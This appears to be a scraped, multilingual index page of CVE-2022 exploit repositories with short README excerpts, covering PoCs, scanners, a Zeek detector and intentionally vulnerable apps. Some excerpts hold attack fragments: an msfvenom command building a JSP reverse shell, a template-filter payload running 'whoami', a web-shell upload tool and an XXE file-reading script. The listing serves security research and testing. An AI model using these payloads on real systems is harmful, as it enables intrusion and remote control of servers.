UNISOCUnlocker

UNISOCUnlocker Basato su CVE-2022-38694, aggiunge una semplice interfaccia utente per rimuovere la partizione persist, comunemente usata per FRP IMPORTANTE! Niente panico se il dispositivo sembra avere uno schermo nero. Dopo che lo script è terminato, premi il pulsante di accensione sul...

CVE-2022-24086

CVE-2022-24086 PoC di CVE-2022-24086 root@kitploit: var this.getTemplateFilter.addAfterFilterCallback"system".filter"whoami"...

CVE-2022-40140-SCANNER

Questo repository non contiene un README...

Burp_VulPscan

BurpVulPscan Burp-Passiv-Scan-Plugin, derzeit nur CVE-2022-22947 Geplant, die gesammelten verschiedenen hochgefährlichen PoCs darin zu integrieren. Ein Übungsprojekt zum Erlernen von Java...

spring4shell_victim

spring4shellvictim Applicazione Spring intenzionalmente vulnerabile per testare CVE-2022-22965 Per maggiori informazioni: https://www.fracturelabs.com/posts/effective-spring4shell-scanning-exploitation/ Utilizzo Build Il seguente codice creerà rapidamente un'immagine Docker vulnerabile utilizzand...

CVE-2022-2414

IT GenXMLExternalEntityExploit è uno script PoC per dimostrare lo sfruttamento di una vulnerabilità XML External Entity XXE. Lo script utilizza payload XML per leggere file sensibili da un server di destinazione. Può essere utile per test di sicurezza, penetration testing o scopi educativi...

CVE-2022-27925

CVE-2022-27925 CVE-2022-27925 nuclei template...

CVE-2022-2078

CVE-2022-2078 root@kitploit: $ ./poc ... + getset leakbuffer: 0000 30 31 32 33 34 35 36 37 38 39 3a 3b 3c 3d 3e 3f 0123456789:;? 0010 28 00 00 00 00 02 0a 8f 68 8b a2 be 40 ac 70 8c [email protected]. 0020 ff ff ff ff 00 6c b5 81 .....l.. + kernel=0xffffffff8c70ac40...

CVE-2022-46169

CVE-2022-46169 Exploit corrigido para CVE-2022-46169 originalmente de https://www.exploit-db.com/exploits/51166...

BotCon

BotCon Esecuzione di codice remoto non autenticata su Atlassian Confluence tramite OGNL Injection CVE-2022-26134 Il 2 giugno 2022 Atlassian ha pubblicato un advisory di sicurezza per le loro applicazioni Confluence Server e Data Center, evidenziando una vulnerabilità critica di esecuzione di codi...

CVE-2022-29078

Sfida THM: SSTI RCE...

DirtyPipe-CVE-2022-0847

DirtyPipe-CVE-2022-0847 Dieses Repository wurde entwickelt, um den DirtyPipe-Exploit CVE-2022-0847 für meine Aufgabe im 3. Jahr, 1. Jahr des Kurses für sichere Softwaresysteme zu analysieren und zu verstehen. Von mir verfasstes Paper Das Paper wird nach Ende meines Semesters verfügbar sein...

CVE-2022-36200

CVE-2022-36200 REDACTED...

Watchguard-RCE-POC-CVE-2022-26318

Watchguard-RCE-POC-CVE-2022-26318 Watchguard RCE POC CVE-2022-26318 La CVE per questo problema è CVE-2022-26318...

CVE-2022-30190

CVE-2022-30190 IMPORTANTE Corretto a partire da: Aggiornamenti di sicurezza del 14 giugno 2022 CVE Report Il file HTML deve essere servito al target es. exploit.html Un modo semplice per eseguire l'attacco è eseguire server.py...

CVE-2022-24491

CVE-2022-24491 Ein Zeek-Detektor für CVE-2022-24491: https://vulners.com/cve/CVE-2022-24491 Dieser Detektor generiert eine Benachrichtigung, wenn er ein Portmap-Set und einen Portmap-Dump sieht, eine Aktion, die bei der Ausnutzung von CVE-2022-24491 durchgeführt wird. Beispiel: root@kitploit:...

CVE-2022-1966

Dieses Repository hat keine README-Datei...

Fast-CVE-2022-22965

Target root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest La reverse shell si basa essenzialmente su msfvenom root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp Dopo aver codificato il JSP in URL, utilizzare root@kitploit:...

terraMaster-CVE-2022-24990

terraMaster-CVE-2022-24990 Tool-Beschreibung Schnell-Exploit-Tool für CVE-2022-24990. Einsteiger-Code. Bei Problemen bitte Issues eröffnen. Verwendung main -u http://127.0.0.1:8181 -t pocexp poc Erkennt nur Informationsleckschwachstellen. exp Versucht, ein WebShell hochzuladen. Haftungsausschluss...

CVE-2022-0847-DirtyPipe-Container-Breakout

DirtyPipe Container Ausbruch PoC Dieses Repository enthält einen PoC für die dirtypipe Kernel-Schwachstelle, um aus einem Container auszubrechen. Weitere Erklärungen finden Sie in diesem Blogbeitrag...